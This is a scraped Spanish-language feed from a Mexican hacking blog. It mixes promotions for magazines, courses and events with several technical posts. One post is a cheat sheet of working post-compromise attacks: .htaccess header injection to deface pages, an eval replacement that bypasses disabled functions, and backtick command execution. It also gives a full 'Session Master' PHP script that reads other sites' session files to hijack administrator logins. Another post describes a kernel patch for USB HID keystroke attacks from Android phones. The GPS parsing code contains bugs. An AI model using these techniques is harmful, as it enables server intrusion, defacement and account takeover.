Entradas VIP a Campus Party

Estaremos rifando unas entradas VIP a Campus Party en la ciudad de Mexico, para entrar a la dinamica tienes que colocar este banner en tu pagina o blog con el link a nuestra pagina, y enviarnos un email a info@hackingmexico.mx con la direccion de tu pagina y tu nombre para que se haga la seleccion el Dia 15 de Julio

Este es el banner oficial

hackingmx
 

Foro Estatal de Delitos Informaticos

Se celebro durante los dias 8 y 9 de Marzo El Foro Estatal de Delitos Informaticos, donde parte del programa incluia la presentacion de la Revista Hacking Mexico ante el Tribunal Superior de Justicia. Asi como conferencias y capacitaciones para la Policia Municipal de Morelos.

Durante el evento se me fue entregado un Premio Honorifico Estatal Honoris Causa frente al Magistrado y representantes de la Universidad de Aztlan. Es un orgullo obtener esta condecoracion, aqui pueden ver las fotos del evento y el video donde se hace la presentacion de la revista[gallery ids="1785,1786,1787,1788,1789,1790,1791,1792,1793,1794,1795,1796,1797,1798,1799,1800,1801,1802,1803,1804,1805,1806,1807,1808,1809,1810,1811,1812,1813,1814"]

 

Evadiendo mecanismos de seguridad internos de un servidor

Este post es más que nada un pequeño “Cheat Sheet” muy simple y básico sobre multiples formas de evadir la seguridad interna de un servidor, al decir interna nos referimos a ya estando dentro del servidor, vamos a ver algunos casos:

 

Caso 1: Se puede crear archivos, pero no editar el index:

Esto se puede saltar utilizando un pequeño bug que se encuentra en mod_headers desde hace años y que hasta la fecha está sin corregir:

 

Se crea o edita un .htaccess y se coloca el siguiente contenido:

 
Header set Last-Modified "Xianur0 Was Here\nContent-Length: 25"

Header set xianur0 "Xianur0 Was Here\nContent-Length: 25\n\n<h1>Xianur0 Was Here</h1>"

 

¿Cómo funciona este bug?

 

Mod_headers permite crear encabezados HTTP (respuesta), pero se supone que no deja modificar el Content-Length ni mandar contenido, el detalle es que permite insertar saltos de linea, lo cual nos permite crear encabezados especiales e incluso mandar el contenido, la respuesta sería algo como:

 
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # nc -vvv localhost 80

Connection to localhost 80 port [tcp/http] succeeded!

GET / HTTP/1.1

Host: localhost

 

HTTP/1.1 200 OK

Date: Fri, 22 Feb 2013 12:09:52 GMT

Server: Apache/2.2.21 (Linux/SUSE)

Last-Modified: Xianur0 Was Here

Content-Length: 25

ETag: "100809-2c-3e9564c23b600"

Accept-Ranges: bytes

Content-Length: 44

xianur0: Xianur0 Was Here

Content-Length: 25

 

<h1>Xianur0 Was Here</h1>

Content-Type: text/html

 

<html><body><h1>It works!</h1></body></html>

 

Al establecer que el largo es de solo 25, el navegador solo leerá los primeros 25 bytes, los cuales son... nuestra página falsa, ignorando el resto del contenido, puede variar si el navegador lee el primer encabezado de Content-Length (en lugar del segundo), entonces leerá los primeros 44 bytes, esto se soluciona... mandando en total 44 bytes (los primeros 25 válidos y el resto relleno, por ejemplo saltos de linea) de modo que aunque lea 25 o 44 se mostrará solo lo que nos interesa.

Caso 2: Shell encriptada no funciona (suhosin patch) eval desactivado.

 

Por seguridad muchos servidores desactivan la función eval, normalmente desde el módulo suhosin o mediante la directiva disable_functions, se puede reemplazar la función eval por eval2:

 
function eval2($php) {

       // eval2 By Xianur0

       $cabecera = "<?php\n";

       foreach($_GET as $key => $valor) $cabecera .= '$_GET['.$key.'] = "'.$valor.'";';

       foreach($_POST as $key => $valor) $cabecera .= '$_POST['.$key.'] = "'.$valor.'";';

       foreach($_SERVER as $key => $valor) $cabecera .= '$_SERVER['.$key.'] = "'.$valor.'";';

       foreach($HTTP_POST_FILES as $key => $valor) $cabecera .= '$HTTP_POST_FILES['.$key.'] = "'.$valor.'";';

       $consulta = $cabecera.$php." ?>";

       $descriptorspec = array(

       0 => array("pipe", "r"),

       1 => array("pipe", "w"),

       2 => array("file", "/tmp/error-output.txt", "a")

       );

       $cwd = getcwd();

       $process = proc_open('php', $descriptorspec, $pipes, $cwd);

       if (is_resource($process)) {

             fwrite($pipes[0], $consulta);

             fclose($pipes[0]);

             echo stream_get_contents($pipes[1]);

             fclose($pipes[1]);

       }

}

 

Esta función tiene básicamente el mismo funcionamiento que eval... pero no está filtrada, desde luego requiere que esté activada proc_open, pero esta se puede reemplazar por otra función similar como popen, desde luego el código podría variar.

 

Caso 3: No está activada la función system() ni similares.

 

Para estos casos se puede aplicar un poco de magia negra y utilizar las comillas invertidas hacia la derecha: “`”

 

Tan pequeñas pero poderosas:
 

<?php

print `ls`;

?>

 

Estas comillas nos permiten ejecutar comandos en la mayoría de los lenguajes de script (incluido perl y bash).

Caso 4: Sesiones PHP inseguras.

 

Traeré un viejo amigo del cementerio del pasado el “Session Master” :D
 

<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>

<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>

 

 

<?php

@session_start();

function buscar() {

$tmp = @session_save_path();

print "<b>Directory of sessions: $tmp\n</b><br>";

$dir = @opendir($tmp);

            while ($session = @readdir($dir))

            {

                        if(preg_match("/^sess_/",$session)) {

                                   $gestor = @fopen("$tmp/$session", "r");

                                   $contenido = @fread($gestor, filesize("$tmp/$session"));

                                   $contenido = @str_replace(';', ";\n<br><br>Session: ", $contenido);

                                   fclose($gestor);

                                   echo "<br>".$session."<br>\n";

                                   if(!empty($contenido)){

                                               $i++;

                                               echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span id="'.$i.'">

                                               <br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';

                                   }

                        }

            }

}

function definir() {

            $name = $_POST['name'];

            $contenido = $_POST['valor'];

            $_SESSION[$name] = $contenido;

}

 

function definidos() {

            foreach ($_SESSION as $name => $valor)

            {

                        print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";

            }

}

 

function menu() {

            $uri = $_SERVER['REQUEST_URI'];

            print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";

}

if(isset($_GET['action']))

            $action = $_GET['action'];

else $action="default";

 

 

switch ($action) {

    case "buscar":

        buscar();

        break;

    case "definir":

        definir();

        break;

    case "definidos":

        definidos();

        break;

    default:

        menu();

        break;

}

 

?>

Su utilidad es simple: Busca archivos “session” guardados en el directorio de los temporales, muchos servidores “compartidos” bueno... comparten el mismo directorio o en algunos casos no se borran estas y siguen siendo válidas para el servidor, de modo que podemos usarla en nuestro navegador y por ejemplo, entrar como administrador del sitio (sin tener la password, sin necesidad de cambiarla y sin necesidad de crackear hashes), esto incluye a cualquier sitio del servidor, no solo en el que estamos ejecutando el session master, también podemos ver el contenido de estas sesiones, en muchos casos se guarda la password en plano u otros valores interesantes, es por demás aclarar que no funciona en todos los sistemas que usan esto, por ejemplo, muchos guardan en base de datos, otros tienen el directorio de las sesiones sin lectura para los usuarios, etc.

Por el momento este post queda hasta aquí, espero que haya sido de su agrado y seguimos en contacto.

By Xianur0!
 

Primera generacion del Diplomado en Intrusiones Ciberneticas

Felicidades a la primera generacion que hoy completa las 25 horas del primer modulo de la certificacion COISP. Sabemos que mucha gente quedo fuera, pero ya estamos abriendo grupos dominicales para que puedan asistir.

Nos vemos en el modulo 2!

la foto (5)
M4ku4z y Megabyte con los alumnos de la primera generacion

 

la foto (6)Diploma con valor curricular,  entregado a los participantes, con firmas originales, sellos oficiales del Sistema Educativo Nacional ,el Instituto Politecnico Nacional, y holograma de autenticidad. Respaldado por







Colegio de Contadores Públicos de Cuautla, A.C.SEP/DGP/CP001/10/030.








Colegio de Contadores Públicos de Morelos, A.C.SEP/DGP/CP001/10/031. 

 

 








Asociación Mexicana de Contadores Públicos. Colegio Profesional en el Distrito Federal, A.CSEP/DGP/CP002/06

 

 

entre otras que cuentan con reconocimiento de Idoneidad Vigente para otorgar Diplomados y Certificaciones

http://www.sep.gob.mx/es/sep1/sep1_Reconocimiento_de_Idoneidad#.UTJFGzByGSo

 
 

Entrevista a Raul Robles Aviles

Entrevista que se llevo a cabo en el BugCON en la ciudad de Mexico

http://estoesmexico.net/videos/Ral_Robles_CEO_Hacking_Mexico-vidwzpjJFA8v6Y.html

 

Android Para Hackers Reales pt. 2

Usaré un celular M860 para este proceso, por lo que usaré el código fuente siguiente (ustedes necesitarán el código fuente del kernel del celular que vayan a usar):

 

https://github.com/playfulgod/kernel-2.6.29-M860

 

(Por cierto, playfulgod tiene buenos repositorios de kernels)

 

Y vamos a usar el siguiente paquete de herramientas:

 

http://www.mediafire.com/?o25hl0x3zjnxxi2

 

Copiamos el archivo “compilakernel.sh” y la carpeta “toolchain-4.6.3” del paquete a la carpeta del código fuente y bajamos la configuración del kernel:

 
# adb pull /proc/config.gz && zcat /proc/config.gz > .config

160 KB/s (13860 bytes in 0.084s)

 

Necesitamos colocar el boot.img (se explicó en este manual como obtenerlo: http://www.hackingmexico.mx/blog/android-para-hackers/) en la misma carpeta del source del kernel y tener instalado abootimg y fastboot.

 

Para instalar fastboot basta con copiarlo a /usr/bin/ y darle permisos de ejecución (chmod a+w /usr/bin/fastboot).

 

Compilamos:

 
Zer0-null:/home/xianur0/originales/kernel-2.6.29-M860 # ./compilarkernel.sh

Ejecutando configuracion del kernel...

HOSTCC  scripts/basic/fixdep

[...]

 

En primera instancia nos abrirá el asistente para configurar el kernel, de entrada no hace falta mover nada, entonces solo nos movemos a exit y le damos enter, pero se pueden hacer cosas interesantes, como agregar soporte para la rtl8187 (en dispositivos con usb host):

 
General setup  --->

[*] Prompt for development and/or incomplete code/drivers

 

Networking --->

[*] Networking support

Wireless --->

<*> Generic IEEE 802.11 Networking Stack (mac80211)

 

Device Drivers --->

[*] Misc Devices --->

<M> EEPROM 93CX6 support

Network device support --->

Wireless LAN --->

[*] Wireless LAN (IEEE 802.11)

<M> Realtek 8187 and 8187B USB support

 

Cryptographic options --->

[*]Cryptographic API

<*>ARC4 cipher algorithm

 

Library routines

---CRC32 functions

De este modo, cargando el módulo con insmod (o cargándolo directamente en el kernel) y portanto aircrack como se explicó en el manual http://www.hackingmexico.mx/blog/portando-cualquier-programa-gnulinux-a-android/

 

Se pueden hacer cosas muy divertidas :P.

 

Preguntará si queremos guardar la configuración y le daremos “Yes” y el proceso de compilar comenzará.

 

Según la versión de gcc del tool-chain y del código fuente puede generar ciertos errores durante la compilación, pero este proceso varía según el dispositivo entonces si tienen alguna duda de como solucionar un determinado error pueden publicar el error como comentario y se asistirá para darle solución.

 

El proceso puede tardar un poco, pero al terminar las ultimas lineas se verían aproximadamente como estas:

 
  Kernel: arch/arm/boot/Image is ready

Building modules, stage 2.

Kernel: arch/arm/boot/zImage is ready

MODPOST 10 modules

Copiando modulos al temporal...

Modificando  boot.img...

Flasheando la imagen...

< waiting for device >

 

Al llegar a este punto es necesario pasar el dispositivo a modo fastboot, para este se necesita apagarlo y presionar la combinación de botones del dispositivo, en muchos casos es volumen abajo + home + encendido, aunque puede variar de un dispositivo a otro, al entrar a fastboot (se reconoce porque el dispositivo se queda en la primera pantalla y no pasa de esta) se conecta por usb el dispositivo (se requiere tenerlo desconectado previamente xD) y el sistema comenzará a cargar el nuevo kernel:

 
sending 'boot' (3504 KB)... OKAY

writing 'boot'... OKAY

Reiniciando el dispositivo...

rebooting...

Subiendo modulos...

Desconecte el dispositivo hasta que este termine de iniciar.

 

Y bueno el script hará el resto.

 

Si todo sale bien, podrás decir que has compilado tu primer kernel para android y ahora te queda... modificar el kernel de tu dispositivo :D.

 

By Xianur0!
 

Foro Estatal Sobre Tecnologias y Delitos Informaticos

PREMIOS
 

10% de Descuento en Diplomado

 

549778_10151628157748814_922048369_n

 

Para obtener el descuento del 10% Solo tienes que ir a nuestra HackShop localizada en Nuevo Leon 192 Colonia Condesa, esquina con Tlaxcala, y pedir 5 Posters, despues pegalos en tu escuela, bibliotecas, etc (con permiso de la institucion) y tomales foto, envianos las fotos a info@hackingmexico.mx y listo!

 
 

Ataques HID (USB) desde dispositivos Android (Kernel Hacking)

Primero que nada, ¿Qué son los dispositivos HID?

HID (Human Interface Device) son básicamente los dispositivos que interactúan  directamente con el usuario, es decir, que son una interfaz entre el usuario y la máquina, por ejemplo un mouse, un teclado, etc.

¿A qué nos referimos exactamente con ataques?

Por ejemplo, si emulamos un mouse, podemos hacer exactamente lo que hace un mouse, mover el puntero, mandar botones (de cada uno de los botones que tiene un mouse). Si emulamos un teclado... obviamente podemos mandar teclas, entre ellas atajos (Ctrl+Supr, Inicio+D, etc) de este modo podemos hacer cualquier cosa que haría un usuario en la computadora, esto sin tocar nosotros directamente la máquina (por ejemplo ejecutar un programa sin necesidad de infectar la máquina, y sin que un antivirus detecte algo sospechoso), estos ataques no duran más de unos segundos (a veces no más de 1 segundo) y se pueden pre-programar, es decir llevar programado el ataque en un dispositivo que simplemente hará falta conectarlo a la máquina (en este caso sería el celular) para que haga todo el trabajo por nosotros.

¿Hacia que plataformas está enfocado esta clase de ataques?

Hacia cualquier cosa que tenga un puerto usb y soporte dispositivos HID, esto no depende del sistema operativo, por lo que puede afectar a windows y a linux por igual (se podría hablar de dispositivos android). Incluso se puede enfocar el ataque a kioskos de auto-servicio y demás dispositivos con un usb descubierto.

Comencemos, para poder realizar estos ataques desde un dispositivo android se necesita parchar el kernel para poder utilizar el usb del celular en crudo (sin pasar por las api's de android) para poder simular cualquier dispositivo que nos de la gana, para esto necesitamos obviamente el código fuente del kernel y las cross-tools correspondientes para compilar el kernel, además de fastboot (o un modo para escribir el kernel), no detallaré este proceso, solo hablaré del código fuente, el proceso de compilar un kernel se habla en “Android Para Hackers Reales pt. 2”.

Usaré un celular M860 para esto, por lo que usaré el código fuente de este dispositivo (ustedes necesitarán el código fuente del kernel del celular que vayan a usar).

El código fuente del USBHacker (esta modificación al kernel) está disponible aquí: http://www.mediafire.com/?clygkt3457odcrb

Parchamos el código fuente:
Zer0-null:/home/xianur0/kernel-2.6.29-M860 # patch < ../parche.patch

can't find file to patch at input line 3

Perhaps you should have used the -p or --strip option?

The text leading up to this was:

--------------------------

|--- drivers/usb/function/msm_hsusb.c   2013-02-22 04:40:41.487025262 -0600

|+++ drivers/usb/function/msm_hsusb.c.back  2013-02-22 04:38:07.597024271 -0600

--------------------------

File to patch: drivers/usb/function/msm_hsusb.c

patching file drivers/usb/function/msm_hsusb.c

Compilamos el kernel como se mostró en el paper pasado (Android Para Hackers Reales pt. 2), compilamos los módulos y arrancar el que nos interese, por ejemplo el mouse:
Zer0-null:/home/xianur0/kernel-2.6.29-M860/xian-modules # make

Make module for target arm

make EXTRA_CFLAGS=-fno-pic -C /home/xianur0/kernel-2.6.29-M860 M=/home/xianur0/kernel-2.6.29-M860/xian-modules ARCH=arm CROSS_COMPILE=/home/xianur0/toolchain-4.6.3/bin/arm-linux-androideabi- modules

/bin/sh: /home/xianur0/kernel-2.6.29-M860/xian-modules/scripts/gcc-version.sh: No existe el fichero o el directorio

make[1]: se ingresa al directorio `/home/xianur0/kernel-2.6.29-M860'

Building modules, stage 2.

MODPOST 2 modules

make[1]: se sale del directorio `/home/xianur0/kernel-2.6.29-M860'

adb push teclado.ko /sdcard/

* daemon not running. starting it now on port 5037 *

* daemon started successfully *

81 KB/s (52093 bytes in 0.622s)

adb push mouse.ko /sdcard/

187 KB/s (51069 bytes in 0.265s)

Disfruta :D!

adb shell

# insmod /sdcard/mouse.ko

 

Nota: modificar el Makefile para colocar la ruta del código fuente del kernel y del toolchain.

Y si todo va bien, el puntero de nuestra máquina comenzará a moverse... de lo contrario bastará con desconectar y volver a conectar el usb.

Para volver a tener adb basta con ejecutar en el celular (desde terminal emulator) el comando: rmmod mouse

El caso del teclado sería algo similar, pero este es un poco más divertido, porque podemos mandar atajos de teclas, y en muchos esos eso nos podría servir para ejecutar programas (Por ejemplo: Windows + R nos serviría para desplegar la ventana de “Ejecutar” y a esa podríamos escribir por ejemplo: “cmd” seguido por un enter y tendríamos ms-dos abierto).

Por el momento no extenderé mucho este paper, debido a que el tema es muy extenso y da para hablar mucho, por lo que continuaremos en otro post.



by xianur0
 

Don Beto, Don Beto! Ya tenemos Tienda Fisica

Para toda la gente del DF y del edo de Mexico, ahora podran adquirir todos los productos del HackShop en persona, para los que no quieren esperar el correo, o quieren ahorrarse el envio pueden visitarnos en la tienda localizada en Innovattia

Aqui podras adquirir las 2 revistas, el DVD, el Wifi Cracker, y todos los gadgets de la HackShop
Nuevo Leon #192, Colonia Condesa, esquina con Tlaxcala, timbre 101, cerca del metrobus Chilpancingo

Y aqui mismo son las instalaciones donde se lleva a cabo el Diplomado Presencial

Visitanos de Lunes a Viernes de 9 am a 6 pm


View Larger Map

la foto (4)

548767_10151621286288814_1040426774_n 535501_10151621286483814_1237642498_n 482612_10151621286758814_1256365838_n 267976_10151621287058814_800464263_n 150768_10151621286388814_224194446_n 75533_10151621286958814_1767755095_n 64562_10151621287233814_1400538140_n 13992_10151621286848814_1220726042_n
 

Articulo destacado en IngeNET

Por segunda vez, uno de mis articulos aparece como destacado en la red de blogs de Ingenieros, IngeNET, aqui esta el enlace

http://bitacora.ingenet.com.mx/2013/02/la-deep-web-lo-verdaderamente-oculto-de-la-red/
 

Revista 2 Disponible

Ya puedes adquirir el numero 2 de la revista por el mismo precio de lanzamiento de $70, se vendera en diferentes puntos de la ciudad, y en las conferencias donde estemos. Tambien puedes ordenarla con envio express de 2 dias habiles con MexPost, tenemos las siguientes promociones

El temario de la Revista 2 es
Metadatos algo mas alla de lo visible
Deteccion y Proteccion de Ataques ARP Spoofing
Ingenieria Social
Hackeando Correos: Realidad o Mito
Penetracion de Servidores Windows
Identity and Access Management
Bypassing de Uploaders
CISCO& Juniper Brute Force
Wardriving con iOS
Crackeando Accunetix
NXT Controller Un Troyano para Divertirse

 

Revista #2 con Envio express 2 dias habiles $170

Paquete Revista 1 y Revista 2 con Envio express 2 dias habiles $230

Super Paquete Revista 1, Revista 2, y DVD con video tutoriales y mas de 50 herramientas de Hacking con Envio Express 2 dias habiles $320

Subscripcion Anual * 6 ejemplares $1000 Envio Express 2 dias habiles incluido, y recibe el DVD Gratis

 

Pago por Oxxo
$total a la tarjeta 4152312197502419

despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx

Deposito Bancario

Tambien puedes depositar en Banco
Banco:  BBVA Bancomer

A nombre de:  Raul Robles Aviles

Concepto: revista

No. de Cuenta  0187088957

CLABE 012180001870889575

despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx

la foto (2)
 

Buscando talentos

La expansion de HackingMexico continua, te gustaria ser parte del equipo? Buscamos talentos en diferentes areas, por eso dejamos la descripcion del rol para que tu lo propongas, en que eres bueno? cual seria tu trabajo ideal? Tal vez te gusta descubrir bugs, tal vez te gusta dar conferencias, odias el trato directo con la gente y prefieres estar detras de las operaciones? Dinos como te desempeñarias mejor, cuales son tus pasiones, te gusta programar? te gusta el pentesting? Te gustaria usar corbata a diario, o prefieres usar Jeans y playeras?

El trabajo es de medio tiempo, y se puede ajustar a los fines de semana, envianos tu CV a info@hackingmexico.mx y dinos tu experiencia y que rol te gustaria desempeñar
 

Confirmada Ponencia en ExpoSeguridad Mexico

Estare dando una platica en este evento celebrado en la ciudad de Mexico, se perfila como el evento mas grande de Seguridad de America Latina

Programa de Conferencias: 23-25 de abril de 2013

Exposición: 23-25 de abril de 2013
Centro Banamex, Cuidad de México


Acerca de
Expo Seguridad México



  • Más de 480 expositores en piso

  • Más de 30,000 m2 de espacio de exhibición

  • Expositores de más de 16 países diferentes

  • Más de 12,000 visitantes

  • Cobertura del evento por más de 100 medios de comunicación



¿Quién exhibe?



  • Fabricantes de más de 16 países

  • Distribuidores locales e internacionales

  • Proveedores Especializados de Servicios de Seguridad y Fuerzas del Orden

  • Representantes de los Fabricantes

  • Distribuidores e Integradores de Seguridad

  • Proveedores especializados en Seguridad

  • Servicios de Guardias y Protección



http://www.exposeguridadmexico.com/

 

Algunas caricaturas graciosas

Ya se han puesto de moda por las redes sociales, aqui les dejamos algunas caricaturas de HackingMexico

13226_10151582924308814_1895421057_n

 

 

531852_10151580979628814_1181246177_n 539846_10151592050298814_1993722079_n 540614_10151574666958814_1415757115_n 549365_10151592072993814_66050701_n 563598_10151582958068814_1642781977_n 563844_10151583761493814_17030594_n
 

La Lista Negra de Congresos en Mexico

Al estar involucrado en varias organizaciones de congresos, salen a flote los malos manejos, es por eso que vamos a desenmascarar aquellos que por su mal manejo dejan una mala imagen en el pais, nosotros tenemos contacto con todos los ponentes, y se nos hace poco etica la forma en que estos congresos operan.

Se supone que es para difundir el conocimiento, pero nos damos cuenta que por cuestiones personales van llevando a pique la ciencia. apoyamos a todos los conferencistas, talleristas y ponentes, ya que GRACIAS A ELLOS se realizan estos eventos.

1. X25 Ethical Hacker, organizador Rodolfo Hernandez Baz


No pago viaticos a
Raul Robles
Juan Angel Osorio
Helios Mier
Aaron Landa
Oscar Lopez, etc etc

Ademas de no haber enviado diplomas de sus cursos, y no dio diplomas de asistencia a algunas personas, el video explica todo



3.- CONASSOL Organizador Salvador Pereyra


Se nego a pagar los viaticos en su totalidad

Se robo ideas de HackingMexico para vender productos del HackShop

jjp8xl

 

Opinion por parte de Gamaliel de OS UPIITA

33man48

A toda la gente les pedimos evaluen estas situaciones, y saquen sus conclusiones, los congresos deben de valorar a los ponentes, ya que sin ellos no existirian. Repudiamos a la gente que se roba el dinero de las entradas y no paga siquiera los viaticos de los ponentes y ellos tienen que poner de su propia bolsa.

Exigimos un trato justo para los que de buena fe comparten sus investigaciones y avances cientificos.
 

Cancelada la Conferencia en CONNASOL

Debido a que no se querian pagar los viaticos en su totalidad, HackingMexico ha decidido no particpar en el congreso de CONASSOL celebrado en Merida Yucatan. La excusa para no pagar todos los viaticos fue que querian que enviaramos nuestras presentaciones en determinada fecha, lo cual no se iba a realizar por la historia que se habia dado que el organizador del congreso copiaba ideas, como ocurrio con el wiFI Cracker, que al otro dia de que nosotros lo anunciamos a la venta, el tambien quizo venderlo en su pagina

jjp8xl

 

Y asi con que confianza le enviariamos el material? Si nos ROBO la idea, quien dice que no nos ROBARIA las ponencias?

Exhortamos a la gente y ponentes a no asistir al congreso
 

Promocion DVD + Revista!!

1448z11

 

Por tiempo limitado puedes obtener La Revista Impresa + el DVD que contiene Video Tutoriales paso a paso, y mas de 50 herramientas de Hacking con envio incluido express 2 dias habiles por Mexpost, por tan solo $250 pesos a cualquier parte de la Republica Mexicana

 

Pago por Oxxo
$250 pesos a la tarjeta 4152312197502419

despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx

Deposito Bancario

Tambien puedes depositar en Banco
Banco:  BBVA Bancomer

A nombre de:  Raul Robles Aviles

Concepto: Diplomado

No. de Cuenta  0187088957

CLABE 012180001870889575

Monto: $250

despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
 

Jugando con el GPS del celular (Android) con Python

La mayoría de los celulares actuales integran GPS, siendo este poco utilizado/aprovechado para los usuarios que desconocen todas las ventajas que podría tener el utilizar esta característica de sus celulares.

Primero que nada...

¿Cómo leer los datos del GPS?

Existe algo llamado NMEA:

“NMEA 0183 (o NMEA de forma abreviada) es una especificación combinada eléctrica y de datos entre aparatos electrónicos marinos y, también, más generalmente, receptores GPS.” Wikipedia

Me vino a la mente que “nmea” es por el león de Heracles, pero no lo puedo confirmar :P

En otras palabras, se pueden leer todos los datos del GPS en formato CVS (valor separado por coma), vamos a ver algunas cosas rápidas del estándar NMEA:

Satélites utilizados:
 $GPGSA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,<10>,<11>,<12>,<13>,<14>,<15>,<16>,<17><Checksum><CR><LF>

Siendo el 1 es la forma en la que está trabajando el GPS del celular:

Posibles valores:
M: Manual (Forzar a trabajar en 3D/2D)

A: Automático

El 2 es el modo 2:
1=No fijo, 2=2D, 3=3D

 

Del 3 al 14 ID's de satélites usados (valor numérico).
15 Position dilution of precision (PDOP)

16 Horizontal dilution of precision (HDOP)

17 Vertical dilution of precision (VDOP)

En fin, no tiene caso hacer una copia de los RFC que existen sobre este protocolo, por lo que vamos directamente al grano:

Para poder acceder a los datos del GPS en la PC (me parece más bonito y útil usar el GPS en la PC que en el celular) vamos a utilizar una herramienta llamada ShareGPS (que pueden encontrar en el Play Store) y adb (que viene en el SDK de android) o “adb lite” (google).

Iniciamos ShareGPS en el celular y en la configuración marcamos: “Use USB”

Ahora en adb vamos a redireccionar el puerto (sí, se puede redireccionar puertos del celular a la pc):
 Zer0-null:/home/xianur0 # adb forward tcp:50000 tcp:50000

Con esto el puerto 50000 del celular queda en el 50000 de nuestra máquina, probemos:
Zer0-null:/home/xianur0 # nc -vvv localhost 50000

nc: connect to localhost port 50000 (tcp) failed: Connection refused

Connection to localhost 50000 port [tcp/mrt] succeeded!

$GPGSV,4,1,16,01,,,,03,45,070,,04,,,,05,,,*4E

$GPGSV,4,2,16,06,27,054,,07,35,320,,08,13,293,,10,18,291,*7A

$GPGSV,4,3,16,11,11,151,,13,73,350,,16,20,036,,19,46,108,*7F

$GPGSV,4,4,16,20,13,185,,23,69,132,,28,12,233,,30,,,*44

[…]

Esos datos raros que pueden ser ahí es directamente los datos NMEA, ahora la cosa es bastante fácil, podemos conectarnos con python al puerto 50000 de localhost (también se podría a través de una red wifi, pero me gusta más esta forma).
 import socket,string

# -*- coding: utf-8 -*-

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('localhost', 50000))

 

while 1:

linea = s.recv(250)

print linea

 

Con esto haremos exactamente lo mismo que netcat, pero vamos un por más allá, recuerdan que dije que está en formato CVS todo?
            datos=string.split(linea,',')

 

Con esto ya tenemos cada valor de la linea en datos, ahora podemos analizarlo:
            try:

result = {

'$GPRMC': GPRMC ,

'$GPGSV': GPGSV

}[datos[0]](datos[1:])

except KeyError:

pass

 

Para los que no estén familiarizados con python, este no tiene swich como tal, entonces esta es mi versión de este.

Lo que hacemos con esto es llamar a cada una de esas funciones (GPRMC,GPGSV,GPGSA) cada vez que una linea tenga por ejemplo “$GPRMC” que llamaría a la función GPRMC , pasandole como argumento todos los elementos de datos excepto el primero (no tiene caso mandarle “$GPRMC ” por ejemplo xD)

Vamos a parsear el primero (GPRMC nos indica el estado de la conexión los satélites y los datos obtenidos de este):
def GPRMC (datos):

if datos[1] != 'V':

print "[-] Conectado con satelites!"

print "[-] Hora actual: "+datos[0][0:2]+":"+datos[0][2:4]+":"+datos[0][4:6]+" con "+datos[0][7:]+" milisegundos"

print "[-] Coordenadas actuales: ("+datos[2]+","+datos[4]+")"

print "[-] Latitud Hemisferio: "+datos[3]

print "[-] Longitud Hemisferio: "+datos[5]

print "[-] Velocidad actual: "+datos[6]+" nudos"

azimut=int(datos[7])

rumbo=''

if(azimut==0):

rumbo='Norte'

elif(azimut<90 and azimut > 0):

rumbo='Noreste'

elif(azimut==90):

rumbo='Este'

if(azimut>90 and azimut < 180):

rumbo='Sureste'

if(azimut==180):

rumbo='Sur'

if(azimut>180 and azimut<360):

rumbo='Suroeste'

if(azumit==360):

rumbo='Oeste'

print "[-] Rumbo: "+rumbo+" ("+datos[7]+" grados)"

print "[-] Fecha UTC: "+datos[8]

 

Azimut es una forma de medir la dirección hacia la cual vamos (rumbo) en grados:

0° sería el norte, 90 el Este, 180 el Sur y 360 el Oeste.

Nota de interés: La fecha UTC la genera el receptor GPS en base a la de los satélites que está utilizando.

Ahora va  GPGSV que nos da información sobre los satélites visibles
def GPGSV (datos):

print datos

print "\n[!] Información de satélites visibles: "

print "[-] Total Número de mensajes: "+datos[0]

print "[-] Número de mensaje: "+datos[1]

print "[-] Satélites visibles: "+datos[2]

c=0

for a in range(3):

print "[-] Satélite número: "+datos[3+c]

print "\t[-] Grados de elevación: "+datos[3+c+1]

print "\t[-] Asimut: "+datos[3+c+2]

print "\t[-] SNR: "+datos[3+c+3]+" dB-Hz"

c=c+4

 

Nota de interés:  SNR es la relación señal/ruido y en base a esta se puede calcular la calidad de enlace con el satélite.

Código completo.


 

import socket,string

# -*- coding: utf-8 -*-

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('localhost', 50000))

 

def GPRMC (datos):

if datos[1] != 'V':

print "[!] Conectado con satelites!"

print "[-] Hora actual: "+datos[0][0:2]+":"+datos[0][2:4]+":"+datos[0][4:6]+" con "+datos[0][7:]+" milisegundos"

print "[-] Coordenadas actuales: ("+datos[2]+","+datos[4]+")"

print "[-] Latitud Hemisferio: "+datos[3]

print "[-] Longitud Hemisferio: "+datos[5]

print "[-] Velocidad actual: "+datos[6]+" nudos"

azimut=int(datos[7])

rumbo=''

if(azimut==0):

rumbo='Norte'

elif(azimut<90 and azimut > 0):

rumbo='Noreste'

elif(azimut==90):

rumbo='Este'

if(azimut>90 and azimut < 180):

rumbo='Sureste'

if(azimut==180):

rumbo='Sur'

if(azimut>180 and azimut<360):

rumbo='Suroeste'

if(azimut==360):

rumbo='Oeste'

print "[-] Rumbo: "+rumbo+" ("+datos[7]+" grados)"

print "[-] Fecha UTC: "+datos[8]

 

def GPGSV (datos):

print datos

print "\n[!] Información de satélites visibles: "

